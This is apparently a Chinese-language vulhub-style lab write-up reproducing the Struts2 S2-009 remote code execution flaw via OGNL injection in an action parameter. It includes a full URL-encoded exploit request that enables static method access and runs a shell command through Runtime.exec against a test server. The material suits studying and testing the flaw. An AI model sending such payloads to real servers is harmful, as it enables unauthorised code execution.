S2-009 远程代码执行漏洞
受影响的版本:2.1.0 - 2.3.1.1
详情:http ://struts.apache.org/docs/s2-009.html
参考
该漏洞来源于s2-003、s2-005。如果想了解漏洞的原理,需要阅读s2-005的说明:https ://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
Struts2漏洞分析,文章中提到,引入OGNL的方法可能不仅出现在这个漏洞中,还可能出现在其他Java应用程序中。
Struts2对s2-003的修复方法是禁止静态方法调用。在 s2-005 中,这个限制可以直接通过 OGNL 绕过。对于#
号码,使用代码\u0023
或\43
绕过;那么s2-005的修复是禁止\等特殊符号阻止用户提交反斜杠的。
但是,如果example
当前操作中接受了一个参数,则该参数将被发送到 OGNL 表达式。所以,我们可以把OGNL表达式代码放在example
参数中,然后通过执行/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
,绕过特殊字符的防御,如#
,\
。
漏洞复现
环境是一个名为.struts2的“功能展示”网站Struts Showcase
。我们需要找到一个接受参数的动作,类型是字符串。
先解压S2-009.war
。我们可以看到源码在WEB-INF/src
目录下,我一般找ajax相关的代码。
找到一个WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java
:
1 | public class Example5Action extends ActionSupport { |
代码很简单,接受name参数,调用setName赋值给私有属性this.name
,符合我们的需求。然后我们去WEB-INF/src/java/struts-ajax.xml
查看URL路由设置:
1 | <package name="ajax" extends="struts-default"> |
我们可以看到name=example5
,所以通过访问来访问控制器http://192.168.44.132:8080/ajax/example5.action
。然后将 OGNL 漏洞利用代码放入 name 参数并访问 URL:
1 | GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1 |
POC没有显示,所以我们使用touch /tmp/success
命令,发现success
文件已经创建,证明expliot成功。